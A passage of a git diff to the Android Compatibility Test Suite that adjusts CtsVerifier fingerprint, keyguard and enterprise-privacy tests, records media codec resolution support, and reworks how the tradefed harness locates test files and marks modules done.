-                    setTestResult(mFingerprintBoundKeyTest, TestResult.TEST_RESULT_FAILED);
+                    mActivity.setTestResult(mActivity.mFingerprintBoundKeyTest,
+                            TestResult.TEST_RESULT_FAILED);
                 }
                 FingerprintAuthDialogFragment.this.dismiss();
             }
@@ -367,12 +374,25 @@
             mSelfCancelled = true;
         }
 
+        private void setActivity(AuthenticationBoundKeyTestActivity activity) {
+            mActivity = activity;
+        }
+
+        private void showToast(String message) {
+            Toast.makeText(getContext(), message, Toast.LENGTH_LONG)
+                .show();
+        }
+
+
         @Override
         public Dialog onCreateDialog(Bundle savedInstanceState) {
             mCancellationSignal = new CancellationSignal();
             mSelfCancelled = false;
+            mFingerprintManager =
+                    (FingerprintManager) getContext().getSystemService(Context.FINGERPRINT_SERVICE);
             mFingerprintManagerCallback = new FingerprintManagerCallback();
-            mFingerprintManager.authenticate(new FingerprintManager.CryptoObject(mFingerprintCipher),
+            mFingerprintManager.authenticate(
+                    new FingerprintManager.CryptoObject(mActivity.mFingerprintCipher),
                     mCancellationSignal, 0, mFingerprintManagerCallback, null);
             AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
             builder.setMessage(R.string.sec_fp_dialog_message);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index e9b6523..48323a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -351,7 +351,11 @@
             KeyguardManager keyguardManager =
                     (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
             Intent launchIntent = keyguardManager.createConfirmDeviceCredentialIntent(null, null);
-            startActivity(launchIntent);
+            if (launchIntent != null) {
+                startActivity(launchIntent);
+            } else {
+                showToast(R.string.provisioning_byod_no_secure_lockscreen);
+            }
         } else if (ACTION_SET_ORGANIZATION_INFO.equals(action)) {
             if(intent.hasExtra(OrganizationInfoTestActivity.EXTRA_ORGANIZATION_NAME)) {
                 final String organizationName = intent
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 6f98241..5ecb1ef 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -18,6 +18,7 @@
 
 import android.Manifest;
 import android.app.Activity;
+import android.app.KeyguardManager;
 import android.app.PendingIntent;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -35,6 +36,7 @@
 import android.provider.MediaStore;
 import android.provider.Settings;
 import android.util.Log;
+import android.widget.Toast;
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.managedprovisioning.Utils;
@@ -206,10 +208,13 @@
                 } break;
                 case COMMAND_SET_KEYGUARD_DISABLED: {
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
-                    if (enforced) {
-                        mDpm.resetPassword(null, 0);
+                    KeyguardManager km = this.getSystemService(KeyguardManager.class);
+                    if (km.isKeyguardSecure()) {
+                        Toast.makeText(this, getString(R.string.device_owner_lockscreen_secure),
+                                Toast.LENGTH_SHORT).show();
+                    } else {
+                        mDpm.setKeyguardDisabled(mAdmin, enforced);
                     }
-                    mDpm.setKeyguardDisabled(mAdmin, enforced);
                 } break;
                 case COMMAND_SET_STATUSBAR_DISABLED: {
                     boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 1bfe44f..8df3f57 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -261,18 +261,19 @@
                         new ButtonInfo(R.string.enterprise_privacy_finish,
                                 buildCommandIntent(
                                         CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE))}));
-        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
-                R.string.enterprise_privacy_failed_password_wipe,
-                R.string.enterprise_privacy_failed_password_wipe_info,
-                new ButtonInfo[] {
-                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
-                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
-                        new ButtonInfo(R.string.enterprise_privacy_set_limit,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
-                        new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
+        // Disabled for API 26 due to b/63696536.
+        // adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
+        //         R.string.enterprise_privacy_failed_password_wipe,
+        //         R.string.enterprise_privacy_failed_password_wipe_info,
+        //         new ButtonInfo[] {
+        //                 new ButtonInfo(R.string.enterprise_privacy_open_settings,
+        //                         new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+        //                 new ButtonInfo(R.string.enterprise_privacy_set_limit,
+        //                         buildCommandIntent(CommandReceiverActivity
+        //                                 .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+        //                 new ButtonInfo(R.string.enterprise_privacy_finish,
+        //                         buildCommandIntent(CommandReceiverActivity
+        //                                 .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE,
                 R.string.enterprise_privacy_comp_failed_password_wipe,
                 R.string.enterprise_privacy_comp_failed_password_wipe_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index 5e6d33b..bd02144 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -190,6 +190,8 @@
                 return pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS);
             case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_ACCESSIBILITY_SERVICE:
                 return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+            case PolicyTransparencyTestActivity.TEST_CHECK_LOCK_SCREEN_INFO:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             default:
                 return true;
         }
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/MediaDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/MediaDeviceInfo.java
index 8c3ee5a..91cc58d 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/MediaDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/MediaDeviceInfo.java
@@ -23,7 +23,9 @@
 
 import android.media.CamcorderProfile;
 import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaCodecList;
 
 import com.android.compatibility.common.util.DeviceInfoStore;
@@ -38,9 +40,9 @@
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
+        MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
         store.startArray("media_codec_info");
-        for (int i = 0; i < MediaCodecList.getCodecCount(); i++) {
-            MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+        for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
 
             store.startGroup();
             store.addResult("name", info.getName());
@@ -51,10 +53,10 @@
 
                 store.startGroup();
                 store.addResult("type", type);
-                if (info.getCapabilitiesForType(type).profileLevels.length > 0) {
+                CodecCapabilities codecCapabilities = info.getCapabilitiesForType(type);
+                if (codecCapabilities.profileLevels.length > 0) {
                     store.startArray("codec_profile_level");
-                    for (CodecProfileLevel profileLevel :
-                             info.getCapabilitiesForType(type).profileLevels) {
+                    for (CodecProfileLevel profileLevel : codecCapabilities.profileLevels) {
                         store.startGroup();
                         store.addResult("level", profileLevel.level);
                         store.addResult("profile", profileLevel.profile);
@@ -62,6 +64,57 @@
                     }
                     store.endArray(); // codec_profile_level
                 }
+                store.addResult("supported_secure_playback", codecCapabilities.isFeatureSupported(
+                        CodecCapabilities.FEATURE_SecurePlayback));
+                VideoCapabilities videoCapabilities = codecCapabilities.getVideoCapabilities();
+                if (videoCapabilities != null) {
+                    store.startGroup("supported_resolutions");
+                    store.addResult(
+                            "supported_360p_30fps",
+                            videoCapabilities.areSizeAndRateSupported(640, 360, 30));
+                    store.addResult(
+                            "supported_480p_30fps",
+                            videoCapabilities.areSizeAndRateSupported(720, 480, 30));
+                    store.addResult(
+                            "supported_720p_30fps",
+                            videoCapabilities.areSizeAndRateSupported(1280, 720, 30));
+                    store.addResult(
+                            "supported_1080p_30fps",
+                            videoCapabilities.areSizeAndRateSupported(1920, 1080, 30));
+                    // The QHD/WQHD 2560x1440 resolution is used to create YouTube and PlayMovies
+                    // 2k content, so use that resolution to determine if a device supports 2k.
+                    store.addResult(
+                            "supported_2k_30fps",
+                            videoCapabilities.areSizeAndRateSupported(2560, 1440, 30));
+                    store.addResult(
+                            "supported_4k_30fps",
+                            videoCapabilities.areSizeAndRateSupported(3840, 2160, 30));
+                    store.addResult(
+                            "supported_8k_30fps",
+                            videoCapabilities.areSizeAndRateSupported(7680, 4320, 30));
+                    store.addResult(
+                            "supported_360p_60fps",
+                            videoCapabilities.areSizeAndRateSupported(640, 360, 60));
+                    store.addResult(
+                            "supported_480p_60fps",
+                            videoCapabilities.areSizeAndRateSupported(720, 480, 60));
+                    store.addResult(
+                            "supported_720p_60fps",
+                            videoCapabilities.areSizeAndRateSupported(1280, 720, 60));
+                    store.addResult(
+                            "supported_1080p_60fps",
+                            videoCapabilities.areSizeAndRateSupported(1920, 1080, 60));
+                    store.addResult(
+                            "supported_2k_60fps",
+                            videoCapabilities.areSizeAndRateSupported(2560, 1440, 60));
+                    store.addResult(
+                            "supported_4k_60fps",
+                            videoCapabilities.areSizeAndRateSupported(3840, 2160, 60));
+                    store.addResult(
+                            "supported_8k_60fps",
+                            videoCapabilities.areSizeAndRateSupported(7680, 4320, 60));
+                    store.endGroup(); // supported_resolutions
+                }
                 store.endGroup();
             }
             store.endArray();
diff --git a/common/host-side/tradefed/res/config/common-compatibility-config.xml b/common/host-side/tradefed/res/config/common-compatibility-config.xml
index 0006203..2f90e22 100644
--- a/common/host-side/tradefed/res/config/common-compatibility-config.xml
+++ b/common/host-side/tradefed/res/config/common-compatibility-config.xml
@@ -14,11 +14,15 @@
      limitations under the License.
 -->
 <configuration description="Common config for Compatibility suites">
+    <option name="dynamic-sharding" value="false" />
     <device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
     <build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
     <test class="com.android.compatibility.common.tradefed.testtype.CompatibilityTest" />
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true" />
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:false" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.testtype.LibcoreTest:rerun-from-file:true" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.testtype.LibcoreTest:fallback-to-serial-rerun:false" />
+
     <logger class="com.android.tradefed.log.FileLogger">
         <option name="log-level-display" value="WARN" />
     </logger>
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index ddec927..55b9604 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -18,6 +18,8 @@
 import com.android.compatibility.common.util.DynamicConfigHostSide;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IFolderBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -44,6 +46,8 @@
     private static final String ROOT_DIR2 = "ROOT_DIR2";
     private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
     private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
+    private static final String ALT_HOST_TESTCASE_DIR = "ANDROID_HOST_OUT_TESTCASES";
+    private static final String ALT_TARGET_TESTCASE_DIR = "ANDROID_TARGET_OUT_TESTCASES";
     private final IBuildInfo mBuildInfo;
 
     /**
@@ -203,12 +207,40 @@
      * @throws FileNotFoundException if the directory structure is not valid.
      */
     public File getTestsDir() throws FileNotFoundException {
-        File testsDir = new File(getDir(), "testcases");
+        // We have 3 options that can be the test modules dir (and we're going
+        // look for them in the following order):
+        //   1. ../android-*ts/testcases/
+        //   2. ALT_HOST_TESTCASE_DIR
+        //   3. ALT_TARGET_TESTCASE_DIR (we'll skip this since if #2 fails, this
+        //      will inevitably fail as well.)
+
+        File testsDir = null;
+        try {
+            testsDir = new File(getDir(), "testcases");
+        } catch (FileNotFoundException | NullPointerException e) {
+            // Ok, no root dir for us to get, moving on to the next option.
+            testsDir = null;
+        }
+
+        if (testsDir == null) {
+            String altTestsDir = System.getenv().get(ALT_HOST_TESTCASE_DIR);
+            if (altTestsDir != null) {
+                testsDir = new File(altTestsDir);
+            }
+        }
+
+        // This just means we have no signs of where to check for the test dir.
+        if (testsDir == null) {
+            throw new FileNotFoundException(
+                String.format("No Compatibility tests folder set, did you run lunch?"));
+        }
+
         if (!testsDir.exists()) {
             throw new FileNotFoundException(String.format(
                     "Compatibility tests folder %s does not exist",
                     testsDir.getAbsolutePath()));
         }
+        CLog.d("Compatibility test folder found: %s", testsDir.toString());
         return testsDir;
     }
 
@@ -217,12 +249,38 @@
      * @throws FileNotFoundException if the test file cannot be found
      */
     public File getTestFile(String filename) throws FileNotFoundException {
-        File testFile = new File(getTestsDir(), filename);
-        if (!testFile.exists()) {
-            throw new FileNotFoundException(String.format(
-                    "Compatibility test file %s does not exist", filename));
+        // We have a lot of places to check for the test file.
+        //   1. ../android-*ts/testcases/
+        //   2. ALT_HOST_TESTCASE_DIR/
+        //   3. ALT_TARGET_TESTCASE_DIR/
+
+        // Our search depends on our run env, if we're in *ts, then we only want
+        // to check #1.  If we're in gen tf, then we only want to check #2/3.
+        // In *ts mode, getTestsDir will return #1, in gen tf mode, it'll return
+        // #2.  In the event we're in *ts mode and the file isn't in #1, #2 or
+        // #3, then the user probably needs to run lunch to setup the env.
+        String altTargetTestDir = System.getenv().get(ALT_TARGET_TESTCASE_DIR);
+        if (altTargetTestDir == null) {
+            altTargetTestDir = "";
         }
-        return testFile;
+        String[] testDirs = {getTestsDir().toString(), altTargetTestDir};
+
+        File testFile;
+        for (String testDir: testDirs) {
+            testFile = new File(getTestsDir(), filename);
+            if (testFile.exists()) {
+                return testFile;
+            }
+            // The file may be in a subdirectory so do a more through search
+            // if it did not exist.
+            testFile = FileUtil.findFile(new File(testDir), filename);
+            if (testFile != null) {
+                return testFile;
+            }
+        }
+
+        throw new FileNotFoundException(String.format(
+                "Compatibility test file %s does not exist", filename));
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 2438bb0..3d95b61 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -143,6 +143,8 @@
     // Whether modules can be marked done for this invocation. Initialized in invocationStarted()
     // Visible for unit testing
     protected boolean mCanMarkDone;
+    // Whether the current test run has failed. If true, we will not mark the current module done
+    protected boolean mTestRunFailed;
     // Whether the current module has previously been marked done
     private boolean mModuleWasDone;
 
@@ -279,6 +281,7 @@
             // Handle non-JarHostTest case
             mCurrentModuleResult = mResult.getOrCreateModule(id);
             mModuleWasDone = mCurrentModuleResult.isDone();
+            mTestRunFailed = false;
             if (!mModuleWasDone) {
                 // we only want to update testRun variables if the IModuleResult is not yet done
                 // otherwise leave testRun variables alone so isDone evaluates to true.
@@ -377,9 +380,11 @@
     public void testRunEnded(long elapsedTime, Map<String, String> metrics) {
         mCurrentModuleResult.inProgress(false);
         mCurrentModuleResult.addRuntime(elapsedTime);
-        if (!mModuleWasDone && mCanMarkDone) {
-            // Only mark module done if status of the invocation allows it (mCanMarkDone) and
-            // if module has not already been marked done.
+        if (!mModuleWasDone && mCanMarkDone && !mTestRunFailed) {
+            // Only mark module done if:
+            // - status of the invocation allows it (mCanMarkDone), and
+            // - module has not already been marked done, and
+            // - no test run failure has been detected
             mCurrentModuleResult.setDone(mCurrentTestNum >= mTotalTestsInModule);
         }
         if (isShardResultReporter()) {
@@ -408,7 +413,7 @@
      */
     @Override
     public void testRunFailed(String errorMessage) {
-        // ignore
+        mTestRunFailed = true;
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
index 9d7248a..0f0c813 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstaller.java
@@ -33,13 +33,22 @@
 
     private CompatibilityBuildHelper mBuildHelper = null;
 
-    protected File getTestsDir(IBuildInfo buildInfo) throws FileNotFoundException {
+    private void setBuildHelper(IBuildInfo buildInfo) {
         if (mBuildHelper == null) {
             mBuildHelper = new CompatibilityBuildHelper(buildInfo);
         }
+    }
+
+    protected File getTestsDir(IBuildInfo buildInfo) throws FileNotFoundException {
+        setBuildHelper(buildInfo);
         return mBuildHelper.getTestsDir();
     }
 
+    protected File getTestFile(IBuildInfo buildInfo, String filename) throws FileNotFoundException {
+        setBuildHelper(buildInfo);
+        return mBuildHelper.getTestFile(filename);
+    }
+
     /**
      * {@inheritDoc}
      */
@@ -48,7 +57,7 @@
             ITestDevice device) throws TargetSetupError {
         File apkFile = null;
         try {
-            apkFile = new File(getTestsDir(buildInfo), apkFileName);
+            apkFile = getTestFile(buildInfo, apkFileName);
             if (!apkFile.isFile()) {
                 throw new FileNotFoundException();
             }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
index 623eb67..1673866 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ApkInstrumentationPreparer.java
@@ -108,8 +108,7 @@
         ITestInvocationListener listener = new TargetPreparerListener();
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
 
-        File testsDir = buildHelper.getTestsDir();
-        File apkFile = new File(testsDir, mApkFileName);
+        File apkFile = buildHelper.getTestFile(mApkFileName);
         if (!apkFile.exists()) {
             throw new FileNotFoundException(String.format("%s not found", mApkFileName));
         }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
index 3eb93d4..9970c4f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/FilePusher.java
@@ -42,13 +42,22 @@
 
     private IAbi mAbi;
 
-    protected File getTestsDir(IBuildInfo buildInfo) throws FileNotFoundException {
+    private void setBuildHelper(IBuildInfo buildInfo) {
         if (mBuildHelper == null) {
             mBuildHelper = new CompatibilityBuildHelper(buildInfo);
         }
+    }
+
+    protected File getTestsDir(IBuildInfo buildInfo) throws FileNotFoundException {
+        setBuildHelper(buildInfo);
         return mBuildHelper.getTestsDir();
     }
 
+    protected File getTestFile(IBuildInfo buildInfo, String filename) throws FileNotFoundException {
+        setBuildHelper(buildInfo);
+        return mBuildHelper.getTestFile(filename);
+    }
+
     /**
      * {@inheritDoc}
      */
@@ -71,7 +80,7 @@
     @Override
     public File resolveRelativeFilePath(IBuildInfo buildInfo, String fileName) {
         try {
-            File f = new File(getTestsDir(buildInfo),
+            File f = getTestFile(buildInfo,
                     String.format("%s%s", fileName, mAppendBitness ? mAbi.getBitness() : ""));
             CLog.logAndDisplay(LogLevel.INFO, "Copying from %s", f.getAbsolutePath());
             return f;
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
index bd4653b..7585a6c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
@@ -140,7 +140,7 @@
         options = optList.toArray(new String[optList.size()]);
 
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        File testFile = new File(buildHelper.getTestsDir(), fileName);
+        File testFile = buildHelper.getTestFile(fileName);
         // Install the APK on the device.
         String installResult = mDevice.installPackage(testFile, true, options);
 
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index b5159d7..63fabeb 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -145,13 +145,13 @@
 
     @Option(name = MODULE_ARG_OPTION,
             description = "the arguments to pass to a module. The expected format is"
-                    + "\"<module-name>:<arg-name>:[<arg-key>:]<arg-value>\"",
+                    + "\"<module-name>:<arg-name>:[<arg-key>:=]<arg-value>\"",
             importance = Importance.ALWAYS)
     private List<String> mModuleArgs = new ArrayList<>();
 
     @Option(name = TEST_ARG_OPTION,
             description = "the arguments to pass to a test. The expected format is"
-                    + "\"<test-class>:<arg-name>:[<arg-key>:]<arg-value>\"",
+                    + "\"<test-class>:<arg-name>:[<arg-key>:=]<arg-value>\"",
             importance = Importance.ALWAYS)
     private List<String> mTestArgs = new ArrayList<>();
 
@@ -366,37 +366,8 @@
                 }
             }
 
-            // FIXME: Each shard will do a full initialization which is not optimal. Need a way
-            // to be more specific on what to initialize.
-            LinkedList<IModuleDef> modules;
-            synchronized (mModuleRepo) {
-                if (!mModuleRepo.isInitialized()) {
-                    setupFilters();
-                    // Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
-                    // throw a {@link FileNotFoundException}
-                    mModuleRepo.initialize(mTotalShards, mShardIndex, mBuildHelper.getTestsDir(),
-                            getAbis(), mDeviceTokens, mTestArgs, mModuleArgs, mIncludeFilters,
-                            mExcludeFilters,
-                            mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter,
-                            mBuildHelper.getBuildInfo());
+            LinkedList<IModuleDef> modules = initializeModuleRepo();
 
-                    // Add the entire list of modules to the CompatibilityBuildHelper for reporting
-                    mBuildHelper.setModuleIds(mModuleRepo.getModuleIds());
-
-                    int count = UniqueModuleCountUtil.countUniqueModules(
-                            mModuleRepo.getTokenModules()) +
-                            UniqueModuleCountUtil.countUniqueModules(
-                                    mModuleRepo.getNonTokenModules());
-                    CLog.logAndDisplay(LogLevel.INFO, "========================================");
-                    CLog.logAndDisplay(LogLevel.INFO, "Starting a run with %s unique modules.",
-                            count);
-                    CLog.logAndDisplay(LogLevel.INFO, "========================================");
-                } else {
-                    CLog.d("ModuleRepo already initialized.");
-                }
-                // Get the tests to run in this shard
-                modules = mModuleRepo.getModules(getDevice().getSerialNumber(), mShardIndex);
-            }
             mExcludeFilters.clear();
             mIncludeFilters.clear();
             // Update BuildInfo in each shard to store the original command-line arguments from
@@ -542,6 +513,44 @@
     }
 
     /**
+     * Initialize module repo.
+     *
+     * @return A list of module definition
+     * @throws DeviceNotAvailableException
+     * @throws FileNotFoundException
+     */
+    protected LinkedList<IModuleDef> initializeModuleRepo()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        // FIXME: Each shard will do a full initialization which is not optimal. Need a way
+        // to be more specific on what to initialize.
+        synchronized (mModuleRepo) {
+            if (!mModuleRepo.isInitialized()) {
+                setupFilters();
+                // Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
+                // throw a {@link FileNotFoundException}
+                mModuleRepo.initialize(mTotalShards, mShardIndex, mBuildHelper.getTestsDir(),
+                        getAbis(), mDeviceTokens, mTestArgs, mModuleArgs, mIncludeFilters,
+                        mExcludeFilters, mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter,
+                        mBuildHelper.getBuildInfo());
+
+                // Add the entire list of modules to the CompatibilityBuildHelper for reporting
+                mBuildHelper.setModuleIds(mModuleRepo.getModuleIds());
+
+                int count = UniqueModuleCountUtil.countUniqueModules(mModuleRepo.getTokenModules())
+                        + UniqueModuleCountUtil.countUniqueModules(
+                                  mModuleRepo.getNonTokenModules());
+                CLog.logAndDisplay(LogLevel.INFO, "========================================");
+                CLog.logAndDisplay(LogLevel.INFO, "Starting a run with %s unique modules.", count);
+                CLog.logAndDisplay(LogLevel.INFO, "========================================");
+            } else {
+                CLog.d("ModuleRepo already initialized.");
+            }
+            // Get the tests to run in this shard
+            return mModuleRepo.getModules(getDevice().getSerialNumber(), mShardIndex);
+        }
+    }
+
+    /**
      * Gets the set of ABIs supported by both Compatibility and the device under test
      *
      * @return The set of ABIs to run the tests on
@@ -851,4 +860,87 @@
     public void setInvocationContext(IInvocationContext invocationContext) {
         mInvocationContext = invocationContext;
     }
+    /**
+     * @return the mIncludeFilters
+     */
+    protected Set<String> getIncludeFilters() {
+        return mIncludeFilters;
+    }
+
+    /**
+     * @return the mExcludeFilters
+     */
+    protected Set<String> getExcludeFilters() {
+        return mExcludeFilters;
+    }
+
+    /**
+     * @return the mModuleArgs
+     */
+    protected List<String> getModuleArgs() {
+        return mModuleArgs;
+    }
+
+    /**
+     * @return the mTestArgs
+     */
+    protected List<String> getTestArgs() {
+        return mTestArgs;
+    }
+
+    /**
+     * @return the mDeviceTokens
+     */
+    protected List<String> getDeviceTokens() {
+        return mDeviceTokens;
+    }
+
+    /**
+     * @return the mModuleMetadataIncludeFilter
+     */
+    protected MultiMap<String, String> getModuleMetadataIncludeFilter() {
+        return mModuleMetadataIncludeFilter;
+    }
+
+    /**
+     * @return the mModuleMetadataExcludeFilter
+     */
+    protected MultiMap<String, String> getModuleMetadataExcludeFilter() {
+        return mModuleMetadataExcludeFilter;
+    }
+
+    /**
+     * @return the mTotalShards
+     */
+    protected int getTotalShards() {
+        return mTotalShards;
+    }
+
+    /**
+     * @return the mShardIndex
+     */
+    protected Integer getShardIndex() {
+        return mShardIndex;
+    }
+
+    /**
+     * @return the mBuildHelper
+     */
+    protected CompatibilityBuildHelper getBuildHelper() {
+        return mBuildHelper;
+    }
+
+    /**
+     * @return the mInvocationContext
+     */
+    protected IInvocationContext getInvocationContext() {
+        return mInvocationContext;
+    }
+
+    /**
+     * @return the mModuleRepo
+     */
+    protected IModuleRepo getModuleRepo() {
+        return mModuleRepo;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index e076a51..5ef3a93 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -83,7 +83,7 @@
         for (String jarName : mJars) {
             JarFile jarFile = null;
             try {
-                File file = new File(helper.getTestsDir(), jarName);
+                File file = helper.getTestFile(jarName);
                 jarFile = new JarFile(file);
                 Enumeration<JarEntry> e = jarFile.entries();
                 URL[] urls = {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index 5198ec1..96fe234 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -76,6 +76,17 @@
         mAbi = abi;
         mTest = test;
         mConfigurationDescriptor = configurationDescriptor;
+        initializePrepareLists(preparers);
